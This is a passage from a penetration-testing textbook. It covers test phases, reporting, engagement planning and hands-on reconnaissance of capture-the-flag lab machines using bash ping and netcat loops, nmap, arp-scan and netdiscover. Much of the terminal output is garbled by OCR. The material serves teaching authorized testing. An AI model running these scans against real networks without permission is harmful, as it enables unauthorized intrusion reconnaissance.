particular implementation of authentication mechanism allows any attackers




or security testers to perform network sniffing. If the community strings are
not protected or configured properly then network information can be
leaked. Some of the tools like SNMP-WALK SolarWinds can be used
during SNMP enumeration.

DNS Enumeration

DNS enumeration is another very commonly used method to locate the
DNS servers and its related records about the target systems/networks. It
can provide very useful information like IP addresses, usernames, computer
names, and so on. of the target systems. DNS record will provide an
overview of resource records that is stored in the zone files. Because DNS
data 1s replicated via DNS Zone Transfer for a pool of DNS servers.
Attackers or penetration tester can perform a DNS zone transfer request,
and if the DNS server allows zone transfers because of any configuration
flaws to the unauthorised party, then in that case the DNS names and IP
addresses associated with the devices can be accessed in clear text. Some of
the tools that can be used for this activity are like nslookup or maltego.

Phase 6: Vulnerability research

The vulnerability research phase takes into account all the intelligence
collated during the information gathering, reconnaissance and enumeration
phases to come up with a list of potential security issues pertaining to the
target systems, the security issues are analysed further to determine their
severity, impact and ease of exploitation. Additional verification measures
are performed to determine their validity and eliminate any false positives.

The security issues are then mapped with the list of known exploits and
techniques available for each security issue identified, this is done to arrive
at the success and failure rates for each exploit or technique available.
Particular attention has to be paid during the research phase while
evaluating various exploits and techniques to avoid any potential harm to
the target system.

Phase 7: Exploitation

In the exploitation phase the primary focus of the tester is to exploit the
security flaws found using the exploits or techniques found during the




previous phase. Careful evaluation and planning is required on behalf of the
tester to determine the most effective and safest approach, and avoid
knocking the system off the network, getting detected/blocked by the
monitoring systems, and not achieving the set objectives. All actions
performed in this phase need to be well controlled and coordinated, proof of
all activities performed should be captured and retained for the next phase.

Phase 8: Reporting

This is the final and one of the most important phase of the entire exercise
as it deals in generation of the deliverables pertaining the project. All the
time and efforts spent on the project by the tester are distilled into concise
and meaningful document or a set of documents which accurately reflect
the security state of the tested systems.

As the saying goes (I have no idea who said it) “Nothing is considered
complete, until its documented”. The deliverables should accurately
describe the activities performed during the various phases, and each step
must be documented with the findings and artifacts to substantiate the
tester’s claims. This information must be justified with proper explanation
and detailed proof of steps performed and gaps, vulnerabilities found,
exploits used, how they were used and under what circumstances those
worked and may be did not work.

The contents of the report should be based on actual facts as observed by
the penetration tester themselves and not a hypothesis.

Once the report is finalized it must be shared with various stakeholders and
relevant authorities, like the senior management, regulators, operations
teams, Application and Infrastructure security teams and technical team of
organization.

As the penetration testing report is consumed by wide range of stakeholders
to meet their role specific requirements, hence, the report should be
structured well and contain section which help them meet their project
objectives and requirements.

Some of the sections that can be followed during the reporting is as follows:

Objective




This section must cover the objective of the penetration test absolutely
crystal clear. The purpose of the complete exercise and what goals it’s going
to meet. For example, “The penetration testing is being conducted as part
of the annual process”, OR “The penetration testing is being conducted to
satisfy the audit requirements from the regulators” OR may be as simple as
to check the effectiveness and resiliency of the applications going live.

Intended stakeholders

Define or document who in the organization needs to be shared this report
with, For example, CIO, CTO, CISO, Infosec Manager, IT Manager,
Technical Teams, Application Security teams, and so on.

Executive Summary

This section 1s targeted towards the Executive management. Testers must
keep this section as precise and crisp as possible. Avoid writing too much
detailed explanations in this section. The intention is to get the attention of
the senior management and not to overwhelm them. Instead, you can focus
on keeping some details like the scope of work, timeline, your summary of
findings, and what are your recommendations for mitigating the found
risks.

Methodology

Testing reports should also contain the methodology followed during the
testing phases; you may choose to use the methodology mentioned in the
beginning of this chapter with the diagram. This will provide a clear
direction to the reader that how the test was conducted, which will add to
the confidence of the reader about the testing and the findings.

Findings and related details

This section tester will attempt to explain each of their findings in details
with technical explanations and possible proofs with screenshots. Testers
need to provide details in form of tables, pie graphs, bar charts, and so on.,
followed by detailed explanations about the vulnerabilities found, and how
they are exploited or leveraged to gain access or likelihood of causing any




harm, must also explain the impact of such vulnerabilities and exploits on
the applications or systems, and last but not the least, the risk level (Critical,
High, Medium, Low) must be explained too.

Samples and examples

Following are some samples that can be considered while writing reports:

Risk ratings

High
igh if the vulnerabilities pose a significant risk
services, like prolonged network downtime or
plications not available to user

Medium

Risk is Medium when the disruption is limited, or contained in a
small portion of the network and not an organization wide
impact.

Figure 4.2: Risk rating

Sample risk rating pyramid

Detailed findings



Risk Impact (Critical /High/Medium/Low)
CV5S Score i
Asset IPfhosthame a.b.c.d f hostl

Findings Vulnerability: CVE-ABCD-REHE
05: Windows
Port: 23
Service: Telnet
Protocol: TCP
Exploited (ves/no): (provide details/screenshots)

I AT e el s et ’ '

Recommendations.

References

Table 4.1: Detailed findings

Sample template for documenting detailed findings.

Conclusion

In this chapter you learned about the importance of structured penetration
testing and Simplified Penetration Testing Framework, which covered the
various phases of a penetration test.

During the course of this book, we will follow the same framework to go
over various use cases and explain each of the activities with help of
different popular tools available in Kali Linux distribution.

The next chapter will focus on the concepts of planning phase and
reconnaissance phases.

Questions

Before we move to the next chapter, some questions that you may want to
focus on.

1. How important is planning phase before you start penetration testing?



2. What is the most important thing that you would like to remember
during exploitation phase? (Remember that this phase can cause
severe harm, if not performed carefully)

3. How important is reporting phase once the penetration testing is
completed?



CHAPTER 5

Planning and Reconnaissance

he focus of this chapter is to familiarize the concepts of planning a
T successful penetration test, gathering information about the targets
that are in scope of the testing. Additionally, in this chapter we will attempt
to cover the various tools built into Kali Linux to effectively perform

reconnaissance on the target machines set up earlier in the chapter two of
this book.

Structure

The focus of this chapter will be covering the following topics and their sub
activities:

e Planning a Penetration Test

e Reconnaissance of the target machines.

Objective
After reading the chapter you will be able to:

e Understand the various pre-engagement activities involved in planning
a penetration test.

e Perform hands on reconnaissance of target hosts using various tools
present in Kali linux.

Planning a penetration test

Previous chapter explained about the penetration testing framework, as
explained in that framework, planning the test entails the set of pre-
engagement interactions between the testing team and the customer/internal
stakeholders (if it's an assessment by an internal PT team). These meetings
are held to facilitate exchange of strategic information regarding the exact




customer requirements, this helps in defining the exact scope of work and in
aligning the engagement contract with the services delivered.

The information exchanged during the interactions also helps in deriving a
suitable tactical plan, schedule and in designing the most effective
engagement contract and a practical test approach.

Expectations

The first step in planning is to discuss the expectations with the customer,
and understand the context in which the penetration testing is being
requested. A few common expectations from penetration testing are as
follows:

e Mapping the attack surface of the company’s applications, and the IT
infrastructure, finding security issues associated with them and
translating these findings to actual risk to the business.

o Identifying security weaknesses, and to address the findings before
they are found and exploited by malicious entities.

e Understanding the effectiveness of internal security teams and
processes.

e Compliance requirements stemming from company information

security policy or standards such as ISO/IEC 27000, PCI-DSS and
other regulatory obligations.

Scope of testing

The purpose of the penetration testing is to identify the target information
assets which will undergo testing, the location of testing (internal or
external), the type of testing required (blackbox, greybox, whitebox) and
depth of testing that the customer is trying to achieve.

While performing a blackbox test, a very limited knowledge of the systems
1s provided to the tester, this will usually involve basic information such as
individual IP addresses or ranges of the systems in case of infrastructure
testing or internet domain names and URLs in case of application
penetration testing.



During greybox testing, it is required that the customer share more details
regarding the systems such as operating systems, server roles, restricted
user credentials, application parameters, and so on.

Similarly, for a whitebox testing, in addition to the above, further access to
application source-code, design documents, data flow diagrams,
configuration files, user and admin credentials, and so on. should be
requested.

Note: It is important to understand the existing security layers
implemented in the environment such as network and web firewalls,
intrusion detection systems which may impact the reliability of scans
and the overall speed of testing.

Communication

Success of the penetration testing depends on establishing clear
communication between the parties, periodic schedule should be defined for
exchange of progress updates. Additionally, dedicated channels should be
established to communicate issues encountered by both parties during
testing, it 1s important to understand the emergency contacts.

Due to the extremely sensitive nature of the information being exchanged.
It 1s wise to agree upon encrypted channels (password protected files,
PGP/GPG encrypted emails, and so on.) for sending sensitive information.

Problem escalation hierarchy

During a penetration testing exercise, it is important to have clear escalation
hierarchy defined in the engagement contract along with the turn-around
and problem resolution times. This is established to ensure that any
potential future issues arising during the course testing are promptly
communicated to the right set of people and get addressed in a timely
manner. Some common scenarios which require invoking escalation
include:

e Unavailability of access to target infrastructure or application.

e Network access blocked by firewall or intrusion detection and
prevention systems.



Test account inactivation or lockout.
Communication of critical vulnerabilities.
Approvals required for exploitation.

Target infrastructure or application platforms inadvertently getting
knocked out due to testing.

Escalation matrix also ensures that any unresolved issues get adequate
management support before they can cause any impact to the overall project
schedule.

Key personnel

Contact information about the key personnel such as name, designation,
email, phone number should be exchanged between the parties along with
the role they would play during the penetration test, this information should
be documented in the statement of work and engagement contract. The
documents should be duly signed with the client, and shared over the
mutually agreed secure communication channels as described before.

Personnel from the client’s side include representatives from:

Key stakeholders from the management
Project manager

IT Administration

Information security

Network security

Security operations center

Application development

Personnel overseeing, managing and carrying out the testing.

Management

Project manager

Lead penetration tester
Team members



Testing window

The factor by which you should be able to decide a testing window will
depend on the overall maturity of the customer’s security team, the
environment provided for testing (development/production) and criticality
of the systems under review.

This could range anywhere from 24x7 testing to just a few hours a day
during off business or non-peak hours or in some cases could be weekend
only, it is very important to bear this in mind while preparing a test
schedule. Adequate support staff should be available at the customer’s end
for quickly addressing any problems encountered by the testing team should
any issues arise.

Once the test dates and timing are agreed they should be noted down in the
contract document signed by both parties.

Test limitations

As some of the testing may impact the test environment directly. It is
crucial to understand the customer’s reservations, and set adequate
boundaries for the test being undertaken, this setting of boundaries may be
done for multiple reasons some of which include the following:

e To avoid crashing the tested systems or services (example: denial of
service).

e To avoid impact to the performance of test systems (example: denial
of service).

e To conserve time in case tests may run for too long (example: brute
forcing of login forms).

e To avoid exposure of sensitive data (example: uploading of password
hashes to online cracking websites).

e To avoid malicious scripts being introduced to the environment
(example: uploading web shells, kernel exploits, and so on.)

Upon completion of pre-engagement discussions, planning, scheduling, and
contract signing. The testing can begin as per the test window agreed.

Reconnaissance




This section is aimed at familiarizing the user with different reconnaissance
tools and techniques available in Kali Linux by practicing their skills in the
lab environment which was created earlier in the book.

Let’s proceed with the practical aspects of penetration testing in our lab
environment. Boot up the Kali Linux machine, and the various target
machines to practice the exercises given ahead. Please allow an adequate
amount of time for the target machines to fully boot up before starting the
test.

Log into the Kali Linux system, open a terminal window from the dock and
issue an ifconfig command to get the network and IP details assigned to
our Kali system.

r »

root@kali: ~ (I -

File Edit View 5Search Terminal Help
:~# ifconfig

ADCAST ,RUNNING, MULTICAST= mtu 1560
broadcast 10 .¢
en 64 O
len 1088 (Ethernet)
(16.7 M1B)
) frame @
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carrier ® collisions 8

collisions @
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Figure 5.1: ifconfig command

The output of ifconfig command shows that our Kali system has been
assigned an IP address 10.0.2.238 and the network mask is set to
255.255.255.0.

One thing we know from our target environment is that the test machines
are on the same virtual network as our Kali system. Going by the network
mask information we can derive that the network consists of a total of 256
host IP addresses. Excluding the network IP 10.0.2.0 and the broadcast IP



10.0.2.255 addresses we are left with a usable host IP range between
10.0.2.1 through 10.0.2.254 for the target systems.

Note: All the testing will be carried out from our Kali Linux system
over the virtual lab network and we will not be interacting with the test
targets directly. Make a note of the details before proceeding with the
next section.

DC:7

OC-T [Bunning] - Cracle i VirualBo

B & 505 #0] @&@rmon
Figure 5.2: DC-7 login screen

Screenshot of DC-7 machine fully booted up.

The DC-7 console displays the current IP assigned to it, however in a real-
world test, this will not be the case hence, we will explore means to find out
this information over the network.

There are many readymade tools available on Kali Linux to perform target
reconnaissance but using them directly without understanding their inner
workings would result in not grasping the core concepts. The initial
exercises would involve writing basic scripts for performing target



reconnaissance taking this approach should hopefully help clarify things for
the reader before using the readymade tools available in Kali Linux.

One option to find ‘alive’ hosts on a network is to perform a scan of the
network with a series of ping (ICMP echo) requests and wait for responses
from the hosts which are up and running. So, let’s open a terminal window
and create a very basic ping sweeper utilising a bash ‘for’ loop to send
ICMP echo requests to all the hosts in the IP range using the built-in ping
command.

root@kali: ~ e ® 0
File Edit View Search Terminal Help
:~# for 1 in $(seq 1 254); do ping -cl -Wl 18.8.2.%1 | grep "bytes from

s from 16.6.2.1:

s from 10. .18: ic b 4 time=341 ms
25 Trom 10. ( [t1=64 time=0.646 ms
=5 from 1@, i LCMp SE ttl=64 time=110 ms

s from 10.8.2 i 1 5 tt1=128 time=1.74 ms
=5 from 106.8€ icmp se | B.049 ms

s from 10. r lcmp sec -

ftes from 18.8.2.253: icmp seq=
=

Figure 5.3: Ping sweeping the network using a simple for loop

The number of ICMP echo requests sent by the ping command to each host
have been restricted to 1 using the -c¢ ‘count’ flag without this restriction
standard Linux ping command will keep sending ping requests indefinitely
unless interrupted by pressing “c. To speed up the script run time the
timeout setting has also been reduced and set to 1 second using the -W flag.
This means that the ping command will wait for ICMP responses for 1
second before timing out and exiting.

The ping output contains failed ping requests along with the ping responses
received from alive ‘hosts’, to avoid seeing the failed requests on our screen
we piped the output received through the grep command using keywords
“bytes from” to only show us the hosts which have responded to our
requests.

root@kali:~# for i in $(seq 1 254); do ping -cl -Wl
10.0.2.%1i | grep "bytes from" ;done
64 bytes from 10.0.2.1: icmp seq=1 ttl=64 time=2.37 ms



64 bytes from 10.
64 bytes from 10.
64 bytes from 10.
64 bytes from 10.
64 bytes from 10.
64 bytes from 10.
64 bytes from 10.
root@kali:~#

.18: icmp seqg=1 ttl=64 time=341 ms
.27: icmp_seqg=1 ttl=64 time=0.646 ms
.180: icmp seqg=1 ttl=64 time=110 ms
.208: icmp seqg=1 ttl=128 time=1.74 ms
.238: icmp seqg=1 ttl=64 time=0.049 ms
.245: icmp seqg=1 ttl=64 time=65.5 ms

O O O O o o o
N N NMDMNMDNMNDMNDND

.253: icmp seqg=1 ttl=64 time=266 ms

As seen from the output, the command performed as expected, and returned
all the ‘alive’ hosts within the 10.0.2.X range.

The lab environment we are using has multiple active machines, and the
ping sweep of test lab shows replies from multiple hosts, this output would
be different in the case of the reader if only DC-7 machine is booted up.

Note: This type of network mapping will fail if hosts have ICMP echo
requests/responses disabled.

The pingsweep command that we created confirmed that the IP address of
DC-7 machine was online with the IP address 10.0.2.27, we will further
probe the IP address by checking for open ports on the DC-7 machine by
crafting a similar one-line shell command. To start off, we will scan only
the first 1024 out of 65535 tcp ports available on the target host.

root@kali: ~ e G0 0 1

File Edit View 5earch Terminal Help
;~# for port in $(seq 1 1024); do nc -w 1 -z -nv 10.8.2.27 %
grep open; done
(UNKNOWN) [1@.0.2.27] 22 (ssh)} open
(UNKNOWN) [10.0.2.27] 868 (http) open

]

Figure 5.4: Port scanning using a simple for loop

The command shown in the screenshot above performs a TCP connect scan
on the privileged port range (1-1024) of the target machine. It achieves this
by probing the ports one by one using the netcat utility. Netcat is a highly
versatile tool for penetration testers as it has multiple functionalities which
can be leveraged in virtually all phases of the penetration test.



In order to speed up the scanning process the timeout window has been
reduced to 1 using the -w flag along with -z flag (zero - I/O mode) used
specifically for scanning purposes. The -n flag stops netcat from
performing reverse domain resolution and -v flag instructs netcat to
produce verbose output.

rootQkali:~# for port in $(seq 1 1024); do nc -w 1 -z -nv
10.0.2.27 $port 2>&l | grep open; done

(UNKNOWN) [10.0.2.27] 22 (ssh) open

(UNKNOWN) [10.0.2.27] 80 (http) open

root@kali:~#

2

The port scanning command found a total of 2 ports open on the target

system, let’s probe them further to find the services running behind the open
ports.

root@kali: ~ @ e ﬂ\

Figure 5.5: Probing services using the netcat command

Netcat <IP port> command output shows the banner information of SSH
service running on the target system. The SSH service banner shows that it
is an OpenSSH version 7.4pl and further information that the target is a
Linux system running Debian 10 based distribution.

Using the same approach let’s see what we can find out about the HTTP
service using netcat.



root@kali: ~ e e o
File Edit View Search Terminal Help

:~# nc 18.60.2.27 80

Test
HTTP/1.1 406

cti
Content-Type: text/html; charset=iso-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">
<html

{Debian) Server at 127.6.1.1 Port 8

Figure 5.6: Banner grabbing using netcat

Netcat <IP port> command followed by junk input causes the HTTP
service to display an error page. Looking at the HTTP response shows that
HTTP service running on port 80 is an Apache server version 2.4.25. The
web server also seems misconfigured as we can notice a loopback IP
address 127.0.1.1 in the server’s response page.

Let’s see if we can enumerate this service further by taking a look at the
website running on port 80 using the firefox browser.



Welcome ta DC-7 | DT - Mozilla Firefox e o O
Eile Edit \iew History Bookmarks Tools Help
& WelcometoDC-7|D7 =% | +

“ = & @ @® 10.0.227 - @ + MmO » =

Welcome to DC-7

DC-7 introduces some "new” concepts, but I'll leave you to figure out what they are. :-)

While this challenge isn’t all that technical, if you need to resort 1o brute forcing or a dictionary attacks, you probably won't

sucoeed.
‘What you will have to do, is to think "outside”™ the box.

Way “outside” the box. :-)

Search

Figure 5.7: DC-7 landing webpage

Browsing the DC7 HTTP service using Firefox brings up a fairly basic
website seemingly designed purely to provide some hints regarding the
capture the flag (CTF) challenge. Firstly, that the challenge is not very
technical and secondly to think outside the box.

Bottom of the webpage shows that the website is using Drupal which is an
open-source content management framework written in PHP language. The
last line of the page is @DC7USER which is either the local Drupal
account username or some sort of an online account handle.

Let’s explore the webpage source-code to see if we can find anything useful
there. With the DC7 webpage in view press Ctr/+U within the firefox
browser to open the page-source.



I </DOCTYPE himl>
2 <html lang="en* dir="ltr" prefix="content: http://purl.org/rss/1.8/modulesfcontent/ dc: http://purl.org
fde/terans)s  foaf: http:/famlns.com/foaf/e.1/ og: http:/ffogp.me/ns# rdfs: http:// wwi.w3.org/2000/01/rdf-
schema# schema: http://schema.org/ sioc: http://rdfs.orgfsioc/ns# sioct: http://frdfs.org/sioc/typesé
skos: http://wew.wd.org/2004/02/skos/cored xsd: Witp://wew. wl.org/ 2001/ ML5chena# ">
=head=

meta charset="utf-g" />

5 <mata name="Generator"” rupal 8 (https: .drupal.org)”
i <meta name="MobileQptimized”

! =meta name="HandheldFriendly” comtemt="true" /=

I «meta name="viewport” content="width=device-width, initial-scale=1.8" />

o <link rel="shortcut icon® href=*fcore/misc/favicon, ico® type="image/wnd.microsoft.icon® j=

10 <Llink rel="canonical” href="http://10.0.2 27 /node/1" />

11 <link rel="shortlink" href="http://10.0.2.27/node/1" />

12 <link rele="revision" hrefe"http://18.0.2.27/nodef1" />

13

14 <titlesWelcome to DC-7 | D7</title>

15 <link rel="stylesheet” media="all"” href="/sites/default/files/css/css cBuKrkdw3uTl-
WHgGTOTt fMpOZqIps2bIGoRcNgFfo. c5570" /=

1 B Lu

Figure 5.8: DC-7 page source

The page source reveals that the version 8 of Drupal running on the target
system but nothing much apart from that.

Let’s see if we can find something about @DC7USER through a Google
search.

S @DCTUSER - Googl

@ & https:/fwww.google.coin/sc | O

Oa Bugs Evideos [Eomages @rens I oe Sesings  Took

bt 3 pesults [0LXF seconds)

ety com
DcTUser - GitHub

S Flimer . e D ¥ Follos thesr oode on Gkl

gt comm =

DeTUser/stafidb - GitHub

Doiser Comale README mal. ... This is some “code” (yes, s not the greabest oode. b thet
wanrft the port) for the DC-T challsnge. This inn't o fng, ey bt § you hees eacde @ hore, wall
o iy, -}

et com =
DCT-User {@DcTUser) | Twitter

Thin kil Tesets from DCT-Liser ({JDCTUSr). This s & Teattie Sccourd fof the DC-T challangs,
Thise b roally &b hore. Yous Comguti

Figure 5.9: Google search results for @DC7USER



The google search brought up a few interesting entries on Github and
Twitter.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.27

Operating System: Linux (Debian 10 based)
Open Ports & Services:

22/tcp - SSH

OpenSSH 7.4p1 (gathered from service banner)
80/tcp - HTTP

Apache 2.4.25 (gathered from service banner)
Drupal 8 (gathered from page source)

Internet handle @DC7user on the main page
Google search of the handle revealed Twitter and Github accounts.

Digitalworld.local:Joy




Fie Machine Wiew Inpat  Devices  Help

‘ a patrick

BoFo EREC My
Figure 5.10: Joy login screen

Out next target in the lab is ‘Joy’ and its console displays a graphical login
screen with a username patrick highlighted.

In this lab we will use a few tools available on Kali Linux to perform
reconnaissance of our target over the network, like the previous target we
will begin by performing a ping sweep of the lab network, and identify the
IP address assigned to our target machine.

We will perform a ping sweep of the network by using the Nmap tool which
is used for network discovery, fingerprinting and basic security auditing of
target systems.



root@kali: ~ e ® O

File Edit View 5Search Terminal Help

Starting Mmap 7.88 ( ht g ) at 2020-02-06 00:19 IST
Nmap scan report f 8,2
Host is B

up) scanned in 3.87 seconds

Figure 5.11: Ping sweeping the network using nmap

The nmap -sP <range of IPs > command shown in the screenshot above
performs a pingsweep by sending a series of ping requests (ICMP echo) to
each individual IP address in the range specified. The IP addresses which
respond to requests are displayed back. The IP address of Joy machine can
be seen displayed in the screenshot 10.0.2.15 along with its MAC address.

With this information now available we can probe the IP address further
and find out the open ports on the target machine.



root@kali: ~ e e O

File Edit View Search Terminal Help

) at 2020-02-06

+27:6A:48:E7 (0Oracle VirtualBox virtual NIC)

Figure 5.12: TCP port scanning using nmap

As in the case of DC7 where we had created a bash script the Nmap -sT
command performs a similar TCP connect scan, however at a much faster
pace.

The nmap scan found 12 open ports on the target system, going further let’s

use nmap to fingerprint the operating system and identify the details of the
services found running on the target.



root@kali: ~ e e 0

File Edit View Search Terminal Help

s—# nmap 10.0.2.15 -5V -0 - 21,22,25,80,118,139,143,445,465,587,993,99

atarting Nmap 7.8 ( https://nmap.org ) at 2020-02-08 00:16 IST
p S5Can rep rols 2.15

8.34 (protocol 2.0)

netbios-ssn S - bd 3 - 4.X (workgroup: WORKGROUP)
imap
kgroup: WORKGROUP)

ox virtual NIC)
se we could not find at least 1 o

Running:
05 CPE:
05 det

=: 1 hop
[ Hosts: The, JOY.localdomain, 127.@.1.1, JOY; 0S: Linux: CPE: cpe:
:linux kernel

s /nmap.
Nmap done:

Figure 5.13: exploring service scanning, OS fingerprinting and limited port scanning using nmap

In the preceding example Nmap command was used to automate the process
of service identification and operating system fingerprinting by using the
flags -sV and -O respectively, this activity was limited specifically limited
to the TCP ports found previously by using the directive -p <comma
separated ports>.

Nmap can also be used to identify open UDP ports on the target system.
This becomes necessary in some cases as open UDP ports do not come up
in TCP port scans. Nmap can be directed to perform a UDP scan of the
target by using the -su flag.



root@kali: ~ e e o
File Edit View Search Terminal Help

) at 26208-02-08 01:22 IST

I p scan

Host 15 up

1| filtered
1| filtered
1| filtered
it box virtual NIC)

Figure 5.14: UDP port scanning using nmap

The screenshot of the nmap output shows 3 open UDP ports on the target
namely 123, 137, and 161, the next step is to identify the services running
behind those open UDP ports.

root@kali: ~ e e 0

File Edit View 5Search Terminal Help
:~# nmap -sU -sV 10 y 123,137,161
Starting Mmap 7.88 [ http /nmap.org ) at 2020-02-08 01:46 IST

IROUF )
public)

detection performed. Please report any incorrect results at https://
mit/
g: 1 IP address (1 host up) scanned in ©.81 seconds
$~g

Figure 5.15: UDP service detection

We can see that the target is running NTP v4 on udp port 123, Samba
service on udp port 137 and SNMP server on udp port 161.



Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.15

Operating System: Linux (Unknown)
Open Ports & Services:

21/tcp FTP

ProFTPD 1.2.10

22/tcp SSH

Dropbear sshd 0.34 (protocol 2.0)
25/tcp SMTP

Postfix smtpd

80/tcp HTTP

Apache httpd 2.4.25

110/tcp POP3

Dovecot pop3d

139/tcp netbios-ssn

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp IMAP

Dovecot imapd

445/tcp netbios-ssn

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
465/tcp SMTP

Postfix smtpd

587/tcp SMTP

Postfix smtpd

993/tcp ssl/imaps?

995/tcp ssl/pop3s?

123/udp ntp



NTP v4 (unsynchronized)

137/udp netbios-ns

Samba nmbd netbios-ns (workgroup: WORKGROUP)
161/udp snmp

SNMPv1 server; net-snmp SNMPv3 server (public)

Kioptrix:S
After starting the Kioptrix target you will be presented with a ‘mountroot>’

prompt type in the command ufs:/dev/ada0p2 and press the Enter key to
complete the bootup process.

Root mount waiting for: ushusl

thubli: 12 ports with 12 removable, self powered
rying to mount root from ufs:sdevsda®pZ [rwl...

mountroot: waiting for device sdevsdaGps ...

IHounting from ufs: devsdadpg failed with error 19,

|Loader variables:
vis . root . mountfrom=ufs:dev-dadpl
vi= . root .mountfrom.options=ru

anual root filesystem specification:
{Ifetype: {device> [options]
Mount <device? using filesuystem <fstype>
and with the specified (optional) option list,

eq. ufz: devsdadzla
zf=s:tank
cd9660: /devsacdd® ro
(which is egquivalent to: mount -t cd9660 -o ro sdevsacd® »)

T List wvalid disk boot devices
i Yield 1 second (for background tasks)
{empty line> Abort manual input

mountroot> ufs: dev-sada@pl

GOESoOIERAC@rRotcr |
Figure 5.16: Kioptrix bootscreen

On Kali Linux system, open a terminal window from the dock, we will use
a different technique to identify the IP address assigned to our target
machine, we will do so by utilizing address resolution protocol a.k.a ARP,
arp-scan tool sends out ARP packets through the network interface
specified to identify all active IP addresses.



Note: Address Resolution Protocol is non-routable so scans utilizing
this protocol can only be used to identify hosts which are present on
networks which are directly connected to the Kali host.

Tip: As ARP is a layer 2 protocol, ARP scan can identify active targets
even if the target blocks ICMP echo requests.

root@kali: ~ e e 0
File Edit View Search Terminal Help

Interface: e
Starting

QEMU
Cadmus Computer S
Cadmus Computer

cets received by filter, 0 packets dropped by kernel
g arp-scan 1.9.5: 256 hosts scanned in 2.380 seconds (107.56 hosts/sec). 4
responded

e
L

Figure 5.17: Network sweeping using arp-scan

The Kioptrix5 target is up and using the IP address 10.0.2.104.

In the next step we will run an Nmap with a -ss and -a flags. The -ss
stands for a SYN scan also known as the ‘half-open’ scan. This flag
instructs Nmap to send a TCP SYN packet and attempt to open a
connection to a port on the target. The target port should reply with
SYN/ACK packet if it is open, however instead of sending an ACK packet
to build the TCP connection with the port Nmap sends a TCP RST packet
to tear down the connection. This type of scanning usually provides speed
improvement over a TCP connect scan (-sT) as the TCP connection is torn
down instead of being established.

The -A (Aggressive) option offers an easier to remember combination of
multiple nmap techniques under a single flag, The -A flag includes
operating system detection (-O), version scanning (-sV), script scanning (-
sC) and traceroute (--traceroute) functionalities.



root@kali: ~ e e 0

File Edit View Search Terminal Help
:~# nmap -s55 -A 1€ 104
Starting Nmap 3 { https nmap.org ) at 2020-02-09 14:43 EST
Wmap scan report
Host is up (0.6
Mot shown: 997 filtered ports
STATE SERVICE VERSION
closed ssh
open 1ttp Apach 2.2.21 ((FreeBSD) mod ss1/2.2.21 OpensSsSL/0.

8888/tcp open http pache httpd 2.2.21 ((FreeBsD) mod s5s51/2.2.21 OpenSsL/0.
9.8q DAV/2 PHP/5.3.8)

| http-server-header: Apache 2.21 (FreeBSD) mod ssl/2.2.21 OpenS5L/0.9.8q DAV/

VirtualBox virtual NIC)

eebsd ;S y: freebsd: freebsd

05 detail
Network Distance: 1 hop

TRACEROUTE
RTT ADDRESS
.64 ms 16.0.2.1084

ice detection performed. Please report incorrect results at https
submit/

1 IP address (1 host up) scanned in 37 .83

'~

Figure 5.18: nmap half-open scan

We can observe that the target is a FreeBSD machine that has 2 TCP open
ports. Port 80 and 8080 are both running an Apache 2.2.21 HTTP service.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.104
Operating System: FreeBSD
Open Ports & Services:
80/tcp http

Apache httpd 2.2.21
mod_ssl/2.2.21



OpenSSL/0.9.8q
DAV/2 PHP/5.3.8
8080/tcp http
Apache httpd 2.2.21
mod_ssl/2.2.21
OpenSSL/0.9.8q
DAV/2 PHP/5.3.8)

HackInOS:1

Screenshot of HackinOS console displays a graphical login screen with a
username hummingbirdscyber highlighted.

hummingbirdscyber

Bome s )@ @ rontcr

Figure 5.19: HackinOS boot screen



Open a terminal window on your Kali Linux system, we will begin by
performing an active ARP sweep of the lab network using netdiscover and
identify the IP address assigned to our target machine. Type the command
netdiscover -r 10.0.2.0/24 and wait for the scanning to finish and press
Ctrl-C to exit the netdiscover command.

root@kali: ~ (- B )

File Edit View 5Search Terminal Help
Currently scanning: Finished! | screen View: Unique Hosts

4 Captured ARP Reg/Rep packets, from 4 hosts. Total size: 240

10
G0
(+1%]

Figure 5.20: Network sweeping using netdiscover command

The netdiscover output shows that the HackInOS target is up and using the
IP address 10.0.2.4.

Netdiscover offers options to run in passive mode where no packets are sent
out, the tool relies on sniffing ARP packets on the network to build a list of
alive hosts on the target network, this feature helps in red-team scenarios
where remaining undetected is of paramount importance.

Let’s perform a nmap TCP-SYN and UDP port scanning along with
aggressive service detection of the target system.



root@kali: ~ e e 6

File Edit View Search Terminal Help

:~# nmap -s5 -
Starting Nmap 7. { ht map.org ) at 2020-02-18 05:16 EST
Nmap scan report for 108.0
Host is up (©.0018s latency]).
0t shown: 1995 closed ports

.2p2 Ubuntu dubuntuz.? (Ubuntu Linux; p

Apache

3

e redirecting requests
..... entries
4.25 (Debian)
another WordPress site
open|filtered d
en|filtered ip

3E {Oracle VirtualBox virtual NIC)
inux kernel:3 cpe y:linux:linux kernel:4

; CPE: cpe:/o:linux:linux kernel

TRACEROUTE
HOF RTT ADDRESS
1 1.01 ms 10.0.2.4

05 and Service results at https

Figure 5.21: nmap SYN and UDP scan with aggressive service detection

We can observe that the target is a Ubuntu Linux machine that has 2 TCP
open ports. Port 22 is running OpenSSH 7.2p2 and port 8000 is running an
Apache 2.4.25 HTTP service.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:
IP address: 10.0.2.4



Operating System: Ubuntu Linux
Open Ports & Services:

22/tcp SSH

OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
8000/tcp HTTP

Apache httpd 2.4.25

WordPress 5.0.3

http-robots.txt: 2 disallowed entries
/upload.php

/uploads

Sunset:Nightfall




&g E R Gl® & rhtcr
Figure 5.22: Nightfall boot screen

Open a terminal window on your Kali Linux system. Type the command
netdiscover -r 10.0.2.0/24 and wait for the ARP sweep to finish. Press Ctri-
C to exit the netdiscover command.

root@kali: ~ @ e 0
File Edit View Search Terminal Help
Currently scanning: Finished! | screen View: Unique Hosts

5 Captured ARP Reg/Rep packets, from 4 hosts. Total size: 300
MAC Address 0 = MAC Vendor / Hostname

Unknown vendor
Unknown wvendor
PC stemtechnik GmbH
PCS Systemtechnik GmbH




Figure 5.23: Scanning alive hosts using netdiscover command

The netdiscover output shows that the Nightfall target is up and using the IP
address 10.0.2.5.

